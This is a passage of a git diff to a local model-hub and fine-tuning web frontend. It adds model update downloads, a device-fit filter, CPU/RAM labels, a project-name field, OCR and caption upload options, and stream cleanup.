+    setUpdateConflictKey(null);
+  }, [updateConflictKey]);
+  const restartUpdateConflict = useCallback(() => {
+    if (!updateConflictKey) return;
+    downloadManager.restartConflict(updateConflictKey);
+    setUpdateConflictKey(null);
+  }, [updateConflictKey]);
   const hfToken = useHfTokenStore((s) => s.token);
+  // Update availability is derived from the GGUF variant metadata; offline rows
+  // keep the button hidden because there is no remote revision to fetch.
+  const online = useOnlineStatus();
   const { deleting, runDelete } = useCardDelete({
     action: async () => {
       if (!repoId) return;
@@ -221,6 +260,13 @@ export function LocalOnDeviceCard({
     enabled: needsVariantSelection,
     errorFallback: "Failed to load quantizations",
   });
+  const remoteVariantState = useGgufVariantFetchState({
+    repoId: repoId ?? modelId,
+    hfToken,
+    enabled:
+      online && source === "hf_cache" && needsVariantSelection && !!repoId,
+    errorFallback: "Failed to check for updates",
+  });
   const variantKey = currentVariantState.key;
   const [selectedVariantState, setSelectedVariantState] = useState<{
     key: string;
@@ -232,7 +278,23 @@ export function LocalOnDeviceCard({
 
   const canDelete =
     source === "hf_cache" && !!repoId && !isActive && !isLoading;
-  const variants = currentVariantState.variants;
+  const variants = useMemo(() => {
+    const localVariants = currentVariantState.variants;
+    const remoteVariants = remoteVariantState.variants;
+    if (!localVariants || !remoteVariants) return localVariants;
+    return localVariants.map((variant) => {
+      const remoteVariant = remoteVariants.find((remote) =>
+        ggufVariantsMatch(remote.quant, variant.quant),
+      );
+      if (!remoteVariant) return variant;
+      return {
+        ...variant,
+        download_size_bytes:
+          remoteVariant.download_size_bytes || variant.download_size_bytes,
+        update_available: remoteVariant.update_available === true,
+      };
+    });
+  }, [currentVariantState.variants, remoteVariantState.variants]);
   const sortedVariants = useMemo(
     () =>
       variants
@@ -273,6 +335,54 @@ export function LocalOnDeviceCard({
     sortedVariants?.find((variant) =>
       ggufVariantsMatch(variant.quant, selectedQuant),
     ) ?? null;
+  // True while a managed download/update for this repo+variant is in flight.
+  const updateJobActive = useDownloadManagerStore((s) =>
+    repoId
+      ? Boolean(
+          selectActiveJob(
+            s,
+            "model",
+            repoId,
+            needsVariantSelection ? selectedQuant : null,
+          ),
+        )
+      : false,
+  );
+  const updateTargetVariant = needsVariantSelection ? selectedQuant : null;
+  const updateExpectedBytes =
+    selectedVariant?.download_size_bytes ?? selectedVariant?.size_bytes ?? 0;
+  const updateAvailable =
+    needsVariantSelection &&
+    selectedVariant?.downloaded === true &&
+    selectedVariant.update_available === true;
+  const canUpdate =
+    online &&
+    source === "hf_cache" &&
+    !!repoId &&
+    !isActive &&
+    !isLoading &&
+    !updateJobActive &&
+    updateAvailable;
+  // Update runs as a MANAGED download (same path as a normal download) so it
+  // shows in the Downloads panel with manifest-based progress and a working
+  // Cancel. The worker re-resolves `main` and pulls changed blobs while the old
+  // cached copy stays runnable until the new revision verifies.
+  const handleConfirmUpdate = () => {
+    if (!repoId || !updateTargetVariant) return;
+    setUpdateOpen(false);
+    void downloadManager.requestStart({
+      kind: "model",
+      repoId,
+      variant: updateTargetVariant,
+      expectedBytes: updateExpectedBytes,
+    }).then((outcome) => {
+      if (outcome === "conflict") {
+        setUpdateConflictKey(jobKeyOf("model", repoId, updateTargetVariant));
+      }
+      void currentVariantState.refresh();
+      void remoteVariantState.refresh();
+    });
+  };
   const selectedVariantIsActive =
     needsVariantSelection && selectedQuant
       ? isActive && ggufVariantsMatch(activeGgufVariant, selectedQuant)
@@ -426,6 +536,13 @@ export function LocalOnDeviceCard({
               )}
             </span>
             <div className="ml-auto flex items-center gap-0.5">
+              {canUpdate && (
+                <CardUpdateButton
+                  label={`Update ${repoId}`}
+                  emphasized
+                  onClick={() => setUpdateOpen(true)}
+                />
+              )}
               {canDelete && (
                 <CardDeleteButton
                   label={`Delete ${repoId}`}
@@ -544,6 +661,22 @@ export function LocalOnDeviceCard({
           </>
         }
       />
+      <UpdateConfirmDialog
+        open={updateOpen}
+        onOpenChange={(o) => {
+          if (!o) setUpdateOpen(false);
+        }}
+        title={`Update ${repoId}?`}
+        updating={false}
+        onConfirm={handleConfirmUpdate}
+        description="Re-download the latest version of this model from Hugging Face. Progress shows in the Downloads panel."
+      />
+      <TransportConflictDialog
+        conflict={updateTransportConflict}
+        onCancel={cancelUpdateConflict}
+        onKeepTransport={resumeUpdateConflict}
+        onSwitchTransport={restartUpdateConflict}
+      />
     </div>
   );
 }
diff --git a/studio/frontend/src/features/hub/catalog/models-header.tsx b/studio/frontend/src/features/hub/catalog/models-header.tsx
index f5afce5c59..10d5a80e5e 100644
--- a/studio/frontend/src/features/hub/catalog/models-header.tsx
+++ b/studio/frontend/src/features/hub/catalog/models-header.tsx
@@ -15,6 +15,7 @@ import {
   PackageIcon,
   RamMemoryIcon,
   RemoveCircleIcon,
+  CpuIcon
 } from "@hugeicons/core-free-icons";
 import type { IconSvgElement } from "@hugeicons/react";
 import { HugeiconsIcon } from "@hugeicons/react";
@@ -43,6 +44,7 @@ export function ModelsHeader({
   isDataset,
   gpuLabel,
   ramLabel,
+  coreLabel,
   activeCheckpoint,
   activeGgufVariant,
   onTitleClick,
@@ -53,6 +55,7 @@ export function ModelsHeader({
   isDataset: boolean;
   gpuLabel: string;
   ramLabel: string;
+  coreLabel: string;
   activeCheckpoint: string | null;
   activeGgufVariant: string | null;
   onTitleClick: () => void;
@@ -84,7 +87,8 @@ export function ModelsHeader({
           value={String(localCount)}
         />
         <StatPill icon={ChipIcon} label="VRAM" value={gpuLabel} />
-        <StatPill icon={RamMemoryIcon} label="CPU RAM" value={ramLabel} />
+        <StatPill icon={RamMemoryIcon} label="RAM" value={ramLabel} />
+        <StatPill icon={CpuIcon} label="CPU" value={coreLabel} />
 
         {activeCheckpoint && (
           <div className="hub-tag-soft ml-1 inline-flex items-center gap-1.5 px-2 py-1 text-[11.5px]">
diff --git a/studio/frontend/src/features/hub/catalog/models-toolbar.tsx b/studio/frontend/src/features/hub/catalog/models-toolbar.tsx
index c8adfb54f5..7c08c9c486 100644
--- a/studio/frontend/src/features/hub/catalog/models-toolbar.tsx
+++ b/studio/frontend/src/features/hub/catalog/models-toolbar.tsx
@@ -1,6 +1,7 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import { Checkbox } from "@/components/ui/checkbox";
 import { Input } from "@/components/ui/input";
 import { Spinner } from "@/components/ui/spinner";
 import {
@@ -68,6 +69,8 @@ export const ModelsToolbar = memo(function ModelsToolbar({
   onFormatFilterChange,
   capabilityFilter,
   onCapabilityFilterChange,
+  fitOnDeviceOnly,
+  onFitOnDeviceOnlyChange,
   onManageLocalFolders,
   onOpenFineTune,
 }: {
@@ -84,6 +87,9 @@ export const ModelsToolbar = memo(function ModelsToolbar({
   onFormatFilterChange: (value: ModelFormatFilter) => void;
   capabilityFilter: CapabilityFilter;
   onCapabilityFilterChange: (value: CapabilityFilter) => void;
+  /** Shared with the chat model selector: hide models over the device budget. */
+  fitOnDeviceOnly: boolean;
+  onFitOnDeviceOnlyChange: (value: boolean) => void;
   onManageLocalFolders: () => void;
   /** Opens the curated "Fine-tune ready" channel (discover only). Exposed as a
    *  format-dropdown option rather than a standalone feed section. */
@@ -252,7 +258,7 @@ export const ModelsToolbar = memo(function ModelsToolbar({
                 ? `Search on-device ${isDataset ? "datasets" : "models"}`
                 : isDataset
                   ? "Search datasets"
-                  : "Search models"
+                  : "Search all models"
             }
             className={cn(
               "field-soft h-9 rounded-full !border-0 pl-10 text-[13px] placeholder:text-muted-foreground/80 focus-visible:!ring-0",
@@ -350,6 +356,33 @@ export const ModelsToolbar = memo(function ModelsToolbar({
             onValueChange={onSortChange}
             ariaLabel="Sort models"
             className={cn(triggerBase, "w-[128px]")}
+            footer={
+              isDataset ? undefined : (
+                <Tooltip>
+                  <TooltipTrigger asChild>
+                    <button
+                      type="button"
+                      role="checkbox"
+                      aria-checked={fitOnDeviceOnly}
+                      onClick={() => onFitOnDeviceOnlyChange(!fitOnDeviceOnly)}
+                      className="flex w-full cursor-pointer select-none items-center gap-2 rounded-[10px] px-3 py-2 text-left text-[12.5px] text-muted-foreground transition-colors hover:text-foreground"
+                    >
+                      <Checkbox
+                        checked={fitOnDeviceOnly}
+                        tabIndex={-1}
+                        aria-hidden
+                        className="pointer-events-none size-3.5 rounded-full [&_svg]:!size-2.5"
+                      />
+                      Only show models that fit
+                    </button>
+                  </TooltipTrigger>
+                  <TooltipContent side="bottom">
+                    Hides models larger than this device's memory budget.
+                    Downloaded models stay visible.
+                  </TooltipContent>
+                </Tooltip>
+              )
+            }
           />
         )}
 
diff --git a/studio/frontend/src/features/hub/catalog/on-device-folders-dialog.tsx b/studio/frontend/src/features/hub/catalog/on-device-folders-dialog.tsx
index 20a4eca4dd..caa89db196 100644
--- a/studio/frontend/src/features/hub/catalog/on-device-folders-dialog.tsx
+++ b/studio/frontend/src/features/hub/catalog/on-device-folders-dialog.tsx
@@ -180,7 +180,7 @@ export function OnDeviceFoldersDialog({
     <>
       <Dialog open={open} onOpenChange={onOpenChange}>
         <DialogContent
-          className="max-w-[600px] gap-0 overflow-hidden p-0"
+          className="gap-0 overflow-hidden p-0 sm:max-w-[620px] lg:max-w-[660px] xl:max-w-[680px] [&_[data-slot=dialog-close]]:right-3 [&_[data-slot=dialog-close]]:top-3"
           overlayClassName="bg-black/20 backdrop-blur-none"
         >
           <DialogHeader className="border-b border-border/60 px-5 py-4">
@@ -319,7 +319,12 @@ export function OnDeviceFoldersDialog({
                     return (
                       <div
                         key={folder.id}
-                        className="flex min-h-12 items-center gap-3 border-b border-border/50 px-3 py-2 last:border-b-0"
+                        className={cn(
+                          "grid min-h-12 w-full items-center gap-3 border-b border-border/50 px-3 py-2 last:border-b-0",
+                          isTauri
+                            ? "grid-cols-[2rem_minmax(0,1fr)_2rem_2rem]"
+                            : "grid-cols-[2rem_minmax(0,1fr)_2rem]",
+                        )}
                       >
                         <div className="flex size-8 shrink-0 items-center justify-center rounded-[9px] bg-muted text-muted-foreground">
                           <HugeiconsIcon
@@ -328,13 +333,18 @@ export function OnDeviceFoldersDialog({
                             className="size-4"
                           />
                         </div>
-                        <div className="min-w-0 flex-1">
-                          <p className="truncate text-[12.5px] font-medium text-foreground">
+                        <div className="min-w-0 overflow-hidden">
+                          <p
+                            className="block w-full truncate text-[12.5px] font-medium text-foreground"
+                            title={pathTail(folder.path)}
+                          >
                             {pathTail(folder.path)}
                           </p>
                           <Tooltip>
                             <TooltipTrigger asChild={true}>
-                              <p className="truncate font-mono text-[10.5px] text-muted-foreground">
+                              <p
+                                className="block w-full truncate font-mono text-[10.5px] text-muted-foreground"
+                              >
                                 {folder.path}
                               </p>
                             </TooltipTrigger>
diff --git a/studio/frontend/src/features/hub/catalog/owner-avatar.tsx b/studio/frontend/src/features/hub/catalog/owner-avatar.tsx
index 82a1f150d2..852c09ab5f 100644
--- a/studio/frontend/src/features/hub/catalog/owner-avatar.tsx
+++ b/studio/frontend/src/features/hub/catalog/owner-avatar.tsx
@@ -19,24 +19,6 @@ const SIZES: Record<AvatarSize, string> = {
   lg: "size-12 rounded-[15px] text-[16px]",
 };
 
-// Unsloth's own uploads (no upstream provider match) show the bundled Unsloth
-// brand avatar instead of a colored-initial tile, so they read as Unsloth even
-// in virtualized rows that never fetch the HF profile picture.
-const UNSLOTH_OWNER_LOGO: ProviderLogo = {
-  id: "unsloth",
-  name: "Unsloth",
-  logoPath: "/circle-logo-small.png",
-  treatment: "original",
-  background: "transparent",
-  fit: "cover",
-  // Used directly for the unsloth owner, never via prefix matching.
-  prefixes: [],
-};
-
-function isUnslothOwner(owner: string): boolean {
-  return owner.trim().toLowerCase() === "unsloth";
-}
-
 const AVATAR_IMAGE_RETRY_BASE_MS = 60_000;
 const AVATAR_IMAGE_RETRY_MAX_MS = 30 * 60_000;
 
@@ -86,15 +68,6 @@ export function OwnerAvatar({
       />
     );
   }
-  if (isUnslothOwner(owner)) {
-    return (
-      <ProviderLogoTile
-        provider={UNSLOTH_OWNER_LOGO}
-        size={size}
-        className={className}
-      />
-    );
-  }
   return (
     <DefaultAvatar
       owner={owner}
@@ -114,9 +87,6 @@ export function useAvatarImageUrl(
   if (provider) {
     return provider.treatment === "original" ? provider.logoPath : null;
   }
-  if (isUnslothOwner(owner)) {
-    return UNSLOTH_OWNER_LOGO.logoPath;
-  }
   return remoteUrl;
 }
 
diff --git a/studio/frontend/src/features/hub/catalog/owner-scope-toggle.tsx b/studio/frontend/src/features/hub/catalog/owner-scope-toggle.tsx
index fed8568f99..5f36f5d031 100644
--- a/studio/frontend/src/features/hub/catalog/owner-scope-toggle.tsx
+++ b/studio/frontend/src/features/hub/catalog/owner-scope-toggle.tsx
@@ -28,8 +28,8 @@ export function OwnerScopeToggle({
       onValueChange={onChange}
       ariaLabel="Publisher scope"
       align="end"
-      // Extra gap so the chevron sits a touch further from the label.
-      className="h-8 gap-1.5 text-[11.5px]"
+      // Extra gap before the chevron; min-width keeps the pill readable.
+      className="h-8 min-w-[96px] gap-1.5 text-[11.5px]"
     />
   );
 }
diff --git a/studio/frontend/src/features/hub/hub-page.tsx b/studio/frontend/src/features/hub/hub-page.tsx
index b3c9dd0dbe..3dfcad5b4c 100644
--- a/studio/frontend/src/features/hub/hub-page.tsx
+++ b/studio/frontend/src/features/hub/hub-page.tsx
@@ -1,6 +1,11 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import {
+  loadRememberedLoadSettings,
+  rememberedLoadSettingsKey,
+} from "@/components/assistant-ui/model-selector/remembered-load-settings";
+import { hfModelFitsDevice } from "@/components/assistant-ui/model-selector/recommended-fit";
 import { useHubInventory } from "@/features/hub/inventory";
 import { useDebouncedValue } from "@/hooks/use-debounced-value";
 import { useGpuInfo } from "@/hooks/use-gpu-info";
@@ -14,7 +19,10 @@ import { useHubInfiniteScroll } from "@/features/hub/hooks/use-hub-infinite-scro
 import { ggufVariantsMatch, modelIdsMatch } from "@/features/hub/lib/model-identity";
 import { cn } from "@/lib/utils";
 import { usePlatformStore } from "@/config/env";
-import { useHfTokenStore } from "@/features/hub/stores/hf-token-store";
+import {
+  hfApiToken,
+  useHfTokenStore,
+} from "@/features/hub/stores/hf-token-store";
 import {
   getInferenceStatus,
   isExternalModelId,
@@ -90,18 +98,19 @@ const ALL_MODELS_VIEW_STORAGE_KEY = "unsloth.hub.allModelsView";
 const INVENTORY_SORT_STORAGE_KEY = "unsloth.hub.inventorySort";
 const OWNER_SCOPE_STORAGE_KEY = "unsloth.hub.ownerScope";
 
-/** Discover browsing scope: only the unsloth org (default) or the whole Hub. */
+/** Discover browsing scope: the whole Hub (default) or only the unsloth org. */
 export type OwnerScope = "unsloth" | "all";
 
 function readOwnerScopePreference(): OwnerScope {
   if (typeof window === "undefined") {
-    return "unsloth";
+    return "all";
   }
   try {
     const value = window.localStorage.getItem(OWNER_SCOPE_STORAGE_KEY);
-    return value === "all" ? "all" : "unsloth";
+    // Default to the whole Hub; only honor an explicit "unsloth" preference.
+    return value === "unsloth" ? "unsloth" : "all";
   } catch {
-    return "unsloth";
+    return "all";
   }
 }
 
@@ -319,6 +328,9 @@ export function ModelsPage() {
   const activeCheckpoint =
     checkpoint && !isExternalModelId(checkpoint) ? checkpoint : null;
   const activeGgufVariant = useChatRuntimeStore((s) => s.activeGgufVariant);
+  // Shared with the chat model selector: list only models sized for this device.
+  const fitOnDeviceOnly = useChatRuntimeStore((s) => s.fitOnDeviceOnly);
+  const setFitOnDeviceOnly = useChatRuntimeStore((s) => s.setFitOnDeviceOnly);
 
   useEffect(() => {
     let cancelled = false;
@@ -550,6 +562,7 @@ export function ModelsPage() {
   const deferredDebouncedQuery = useDeferredValue(debouncedQuery);
   const hfToken = useHfTokenStore((s) => s.token);
   const debouncedHfToken = useDebouncedValue(hfToken, 500);
+  const apiHfToken = hfApiToken(debouncedHfToken);
   const deferredFormatFilter = useDeferredValue(formatFilter);
   const deferredCapabilityFilter = useDeferredValue(capabilityFilter);
 
@@ -604,7 +617,7 @@ export function ModelsPage() {
     handleRetrySearch,
   } = useDiscoverSearch({
     debouncedQuery,
-    accessToken: debouncedHfToken || undefined,
+    accessToken: apiHfToken,
     isDiscoverTab,
     isDatasetMode,
     sortBy: effectiveSort,
@@ -618,7 +631,7 @@ export function ModelsPage() {
     channelId: isChannelListMode ? activeChannelId : null,
     results,
     isLoading,
-    accessToken: debouncedHfToken || undefined,
+    accessToken: apiHfToken,
   });
 
   const {
@@ -688,7 +701,12 @@ export function ModelsPage() {
         !isHiddenModelId(row.id) &&
         matchesFormat(detectResultFormat(row.result), effectiveDiscoverFormat) &&
         matchesCapability(row.capabilities, deferredCapabilityFilter) &&
-        (!activeChannel?.finetunableOnly || isUnslothFinetunable(row.result)),
+        (!activeChannel?.finetunableOnly || isUnslothFinetunable(row.result)) &&
+        // Models already on disk stay visible regardless of device fit,
+        // matching the chat model selector.
+        (!fitOnDeviceOnly ||
+          row.isAvailableOnDevice ||
+          hfModelFitsDevice(row.result, gpu)),
     );
   }, [
     discoverRows,
@@ -696,12 +714,14 @@ export function ModelsPage() {
     effectiveDiscoverFormat,
     deferredCapabilityFilter,
     activeChannel,
+    fitOnDeviceOnly,
+    gpu,
   ]);
 
   const listRows = filteredDiscoverRows;
 
   const hubFeed = useHubFeed({
-    accessToken: debouncedHfToken || undefined,
+    accessToken: apiHfToken,
     online,
     enabled: isFeedMode,
     deviceType,
@@ -715,8 +735,21 @@ export function ModelsPage() {
         effectiveLocalRows,
       )
         .filter((row) => !isHiddenModelId(row.id))
-        .filter((row) => matchesFormat(row.result.isGguf, "gguf")),
-    [hubFeed.trending.results, modelDiscoveryInventorySignature],
+        .filter((row) => matchesFormat(row.result.isGguf, "gguf"))
+        // Same fit filter as the main Discover list, so the feed carousel
+        // honors the toggle too.
+        .filter(
+          (row) =>
+            !fitOnDeviceOnly ||
+            row.isAvailableOnDevice ||
+            hfModelFitsDevice(row.result, gpu),
+        ),
+    [
+      hubFeed.trending.results,
+      modelDiscoveryInventorySignature,
+      fitOnDeviceOnly,
+      gpu,
+    ],
   );
   const feedRows = useMemo(() => {
     if (!isFeedMode) return [];
@@ -907,7 +940,7 @@ export function ModelsPage() {
     filteredCachedRows,
     filteredLocalRows,
     results: selectionResults,
-    accessToken: debouncedHfToken || undefined,
+    accessToken: apiHfToken,
     online,
   });
 
@@ -1052,11 +1085,15 @@ export function ModelsPage() {
   const { vramInfo, minMemory } = useHubModelVram(selectedModel, gpu);
 
   const gpuLabel = gpu.available
-    ? `${Math.floor(gpu.memoryTotalGb)} GB`
+    ? `${Math.round(gpu.memoryTotalGb)} GiB`
     : "Unavailable";
   const ramLabel =
-    gpu.systemRamAvailableGb > 0
-      ? `${Math.floor(gpu.systemRamAvailableGb)} GB`
+    gpu.systemRamTotalGb > 0
+      ? `${Math.round(gpu.systemRamTotalGb)} GiB`
+      : "Unavailable";
+  const coreLabel =
+    gpu.cpuCore > 0 && gpu.cpuThread > 0
+      ? `${gpu.cpuCore}/${gpu.cpuThread}`
       : "Unavailable";
 
   const openNewChat = useCallback(() => {
@@ -1083,11 +1120,32 @@ export function ModelsPage() {
         openNewChat();
         return;
       }
+      // Detach any leftover staged pick first so its edited knobs (e.g. a custom
+      // context length) don't leak into this load -- mirrors the chat page's
+      // detachStaged(); keepDownload keeps any staged download running.
+      useChatRuntimeStore.getState().abandonStagedModel({ keepDownload: true });
+      // Load-on-selection skips the chat sheet, so seed this GGUF pick's saved
+      // load knobs here the way the sheet's restore effect would; otherwise the
+      // remembered config is silently ignored on the Hub run path. keepSpeculative
+      // then honors the restored speculative choice across the switch.
+      const remembered =
+        opts.ggufVariant != null || selectedModel.isGguf
+          ? loadRememberedLoadSettings(
+              rememberedLoadSettingsKey({
+                id: runId,
+                ggufVariant: opts.ggufVariant,
+              }),
+            )
+          : null;
+      if (remembered) {
+        useChatRuntimeStore.getState().applyRememberedLoadSettings(remembered);
+      }
       void selectModel({
         id: runId,
         ggufVariant: opts.ggufVariant,
         isDownloaded,
         expectedBytes: opts.expectedBytes,
+        keepSpeculative: remembered != null,
         throwOnError: true,
       })
         .then(() => {
@@ -1399,6 +1457,7 @@ export function ModelsPage() {
           isDataset={isDatasetMode}
           gpuLabel={gpuLabel}
           ramLabel={ramLabel}
+          coreLabel={coreLabel}
           activeCheckpoint={activeCheckpoint}
           activeGgufVariant={activeGgufVariant}
           onTitleClick={handleResetToDiscover}
@@ -1418,6 +1477,8 @@ export function ModelsPage() {
           onFormatFilterChange={setFormatFilter}
           capabilityFilter={capabilityFilter}
           onCapabilityFilterChange={setCapabilityFilter}
+          fitOnDeviceOnly={fitOnDeviceOnly}
+          onFitOnDeviceOnlyChange={setFitOnDeviceOnly}
           onManageLocalFolders={handleManageLocalFolders}
           onOpenFineTune={() => handleOpenList("finetune")}
         />
diff --git a/studio/frontend/src/features/hub/inventory/api.ts b/studio/frontend/src/features/hub/inventory/api.ts
index 8ae3f7d3cd..0e01c5c0cb 100644
--- a/studio/frontend/src/features/hub/inventory/api.ts
+++ b/studio/frontend/src/features/hub/inventory/api.ts
@@ -163,6 +163,7 @@ export interface GgufVariantDetail {
   size_bytes: number;
   download_size_bytes?: number;
   downloaded?: boolean;
+  update_available?: boolean;
   partial?: boolean;
   partial_transport?: string | null;
 }
diff --git a/studio/frontend/src/features/hub/stores/hf-token-store.ts b/studio/frontend/src/features/hub/stores/hf-token-store.ts
index 31a7f0a4da..b1e2560f02 100644
--- a/studio/frontend/src/features/hub/stores/hf-token-store.ts
+++ b/studio/frontend/src/features/hub/stores/hf-token-store.ts
@@ -116,3 +116,11 @@ export const useHfTokenStore = create<HfTokenStore>((set) => {
 export function getHfToken(): string {
   return useHfTokenStore.getState().token;
 }
+
+// HF's JS client throws on a non-empty token that isn't `hf_...` instead of
+// browsing anonymously, so treat anything malformed as no token.
+export function hfApiToken(
+  token: string | undefined | null,
+): string | undefined {
+  return token && token.startsWith("hf_") ? token : undefined;
+}
diff --git a/studio/frontend/src/features/onboarding/components/steps/hyperparameters-step.tsx b/studio/frontend/src/features/onboarding/components/steps/hyperparameters-step.tsx
index a1174186af..2fb2f7adeb 100644
--- a/studio/frontend/src/features/onboarding/components/steps/hyperparameters-step.tsx
+++ b/studio/frontend/src/features/onboarding/components/steps/hyperparameters-step.tsx
@@ -7,6 +7,7 @@ import {
   FieldLegend,
   FieldSet,
 } from "@/components/ui/field";
+import { Input } from "@/components/ui/input";
 import {
   Select,
   SelectContent,
@@ -59,6 +60,8 @@ function stepLR(value: number, direction: 1 | -1): number {
 export function HyperparametersStep() {
   const {
     trainingMethod,
+    projectName,
+    setProjectName,
     maxSteps,
     setMaxSteps,
     epochs,
@@ -79,6 +82,8 @@ export function HyperparametersStep() {
   } = useTrainingConfigStore(
     useShallow((s) => ({
       trainingMethod: s.trainingMethod,
+      projectName: s.projectName,
+      setProjectName: s.setProjectName,
       maxSteps: s.maxSteps,
       setMaxSteps: s.setMaxSteps,
       epochs: s.epochs,
@@ -125,6 +130,26 @@ export function HyperparametersStep() {
       <FieldSet>
         <FieldLegend variant="label">Choose your training parameters</FieldLegend>
         <div className="flex flex-col gap-4">
+          <div className="flex flex-col gap-2">
+            <div className="flex items-center justify-between">
+              <FieldLabel className="flex items-center gap-1.5 !text-sm text-muted-foreground">
+                Project Name
+                <span className="text-xs font-normal text-muted-foreground/70">
+                  Optional
+                </span>
+              </FieldLabel>
+            </div>
+            <Input
+              value={projectName || ""}
+              onChange={(e) => setProjectName(e.target.value)}
+              placeholder="customer-support-lora"
+              maxLength={80}
+            />
+            <p className="text-xs text-muted-foreground">
+              Used in training output folder names, export defaults, and history.
+            </p>
+          </div>
+
           <div
             key={useEpochs ? "epochs" : "steps"}
             className="flex flex-col gap-2 animate-in fade-in-1 slide-in-from-bottom-1 duration-200"
diff --git a/studio/frontend/src/features/onboarding/components/steps/summary-step.tsx b/studio/frontend/src/features/onboarding/components/steps/summary-step.tsx
index 1988cfe970..eb50d398b6 100644
--- a/studio/frontend/src/features/onboarding/components/steps/summary-step.tsx
+++ b/studio/frontend/src/features/onboarding/components/steps/summary-step.tsx
@@ -50,6 +50,7 @@ export function SummaryStep() {
   const {
     modelType,
     selectedModel,
+    projectName,
     trainingMethod,
     datasetSource,
     datasetFormat,
@@ -68,6 +69,7 @@ export function SummaryStep() {
       ({
         modelType,
         selectedModel,
+        projectName,
         trainingMethod,
         datasetSource,
         datasetFormat,
@@ -84,6 +86,7 @@ export function SummaryStep() {
       }) => ({
         modelType,
         selectedModel,
+        projectName,
         trainingMethod,
         datasetSource,
         datasetFormat,
@@ -122,7 +125,7 @@ export function SummaryStep() {
               <span className="text-xs text-muted-foreground">GPU</span>
               <div className="flex items-center gap-2">
                 <span className="text-sm font-medium">{hw.gpuName ?? "---"}</span>
-                <Badge variant="secondary">{hw.vramTotalGb != null ? `${hw.vramTotalGb} GB` : "---"}</Badge>
+                <Badge variant="secondary">{hw.vramTotalGb != null ? `${hw.vramTotalGb} GiB` : "---"}</Badge>
               </div>
             </div>
           </div>
@@ -152,6 +155,7 @@ export function SummaryStep() {
           <Separator className="my-2" />
           <div className="space-y-1 text-sm">
             <Row label="Type" value={modelType} capitalize />
+            <Row label="Project" value={projectName || "--"} />
             <Row label="Method" value={trainingMethodLabel} />
           </div>
         </CardContent>
diff --git a/studio/frontend/src/features/rag/api/rag-api.ts b/studio/frontend/src/features/rag/api/rag-api.ts
index 34ded24ac3..20800230b5 100644
--- a/studio/frontend/src/features/rag/api/rag-api.ts
+++ b/studio/frontend/src/features/rag/api/rag-api.ts
@@ -39,9 +39,17 @@ async function ragRequest<T>(
   return json as T;
 }
 
-async function ragUpload(path: string, file: File): Promise<DocumentUploadResult> {
+async function ragUpload(
+  path: string,
+  file: File,
+  ocr?: boolean,
+  caption?: boolean,
+): Promise<DocumentUploadResult> {
   const form = new FormData();
   form.append("file", file);
+  // Per-upload overrides for the vision passes; omitted -> backend config default.
+  if (ocr !== undefined) form.append("ocr", String(ocr));
+  if (caption !== undefined) form.append("caption", String(caption));
   // No Content-Type: let the browser set the multipart boundary.
   const response = await authFetch(`${RAG_BASE}${path}`, {
     method: "POST",
@@ -103,10 +111,14 @@ export async function listKnowledgeBaseDocuments(
 export function uploadKnowledgeBaseDocument(
   kbId: string,
   file: File,
+  ocr?: boolean,
+  caption?: boolean,
 ): Promise<DocumentUploadResult> {
   return ragUpload(
     `/knowledge-bases/${encodeURIComponent(kbId)}/documents`,
     file,
+    ocr,
+    caption,
   );
 }
 
@@ -122,8 +134,15 @@ export async function listThreadDocuments(
 export function uploadThreadDocument(
   threadId: string,
   file: File,
+  ocr?: boolean,
+  caption?: boolean,
 ): Promise<DocumentUploadResult> {
-  return ragUpload(`/threads/${encodeURIComponent(threadId)}/documents`, file);
+  return ragUpload(
+    `/threads/${encodeURIComponent(threadId)}/documents`,
+    file,
+    ocr,
+    caption,
+  );
 }
 
 export async function listProjectDocuments(
@@ -138,8 +157,15 @@ export async function listProjectDocuments(
 export function uploadProjectDocument(
   projectId: string,
   file: File,
+  ocr?: boolean,
+  caption?: boolean,
 ): Promise<DocumentUploadResult> {
-  return ragUpload(`/projects/${encodeURIComponent(projectId)}/documents`, file);
+  return ragUpload(
+    `/projects/${encodeURIComponent(projectId)}/documents`,
+    file,
+    ocr,
+    caption,
+  );
 }
 
 // Cached "does this project have indexed sources?" probe so the chat adapter can
@@ -197,31 +223,40 @@ export async function* streamJobEvents(
   const decoder = new TextDecoder();
   let buffer = "";
 
-  while (true) {
-    const { done, value } = await reader.read();
-    if (done) break;
-    buffer += decoder.decode(value, { stream: true });
+  try {
+    while (true) {
+      const { done, value } = await reader.read();
+      if (done) break;
+      buffer += decoder.decode(value, { stream: true });
 
-    let separatorIndex = buffer.search(/\r?\n\r?\n/);
-    while (separatorIndex >= 0) {
-      const rawEvent = buffer.slice(0, separatorIndex);
-      const separatorLength = buffer[separatorIndex] === "\r" ? 4 : 2;
-      buffer = buffer.slice(separatorIndex + separatorLength);
+      let separatorIndex = buffer.search(/\r?\n\r?\n/);
+      while (separatorIndex >= 0) {
+        const rawEvent = buffer.slice(0, separatorIndex);
+        const separatorLength = buffer[separatorIndex] === "\r" ? 4 : 2;
+        buffer = buffer.slice(separatorIndex + separatorLength);
 
-      const dataLines: string[] = [];
-      for (const line of rawEvent.split(/\r?\n/)) {
-        if (line.startsWith("data:")) dataLines.push(line.slice(5).trimStart());
-      }
-      if (dataLines.length > 0) {
-        const dataText = dataLines.join("\n");
-        if (dataText === "[DONE]") return;
-        try {
-          yield JSON.parse(dataText) as JobEvent;
-        } catch {
-          // Ignore unparseable frames; [DONE] still ends the loop.
+        const dataLines: string[] = [];
+        for (const line of rawEvent.split(/\r?\n/)) {
+          if (line.startsWith("data:")) dataLines.push(line.slice(5).trimStart());
         }
+        if (dataLines.length > 0) {
+          const dataText = dataLines.join("\n");
+          if (dataText === "[DONE]") return;
+          try {
+            yield JSON.parse(dataText) as JobEvent;
+          } catch {
+            // Ignore unparseable frames; [DONE] still ends the loop.
+          }
+        }
+        separatorIndex = buffer.search(/\r?\n\r?\n/);
       }
-      separatorIndex = buffer.search(/\r?\n\r?\n/);
+    }
+  } finally {
+    // Release the stream lock now instead of leaking the reader until GC.
+    try {
+      await reader.cancel();
+    } catch {
+      // already closed
     }
   }
 }
diff --git a/studio/frontend/src/features/rag/components/retrieval-settings-section.tsx b/studio/frontend/src/features/rag/components/retrieval-settings-section.tsx
index 103ed5c8e8..be791b8e6d 100644
--- a/studio/frontend/src/features/rag/components/retrieval-settings-section.tsx
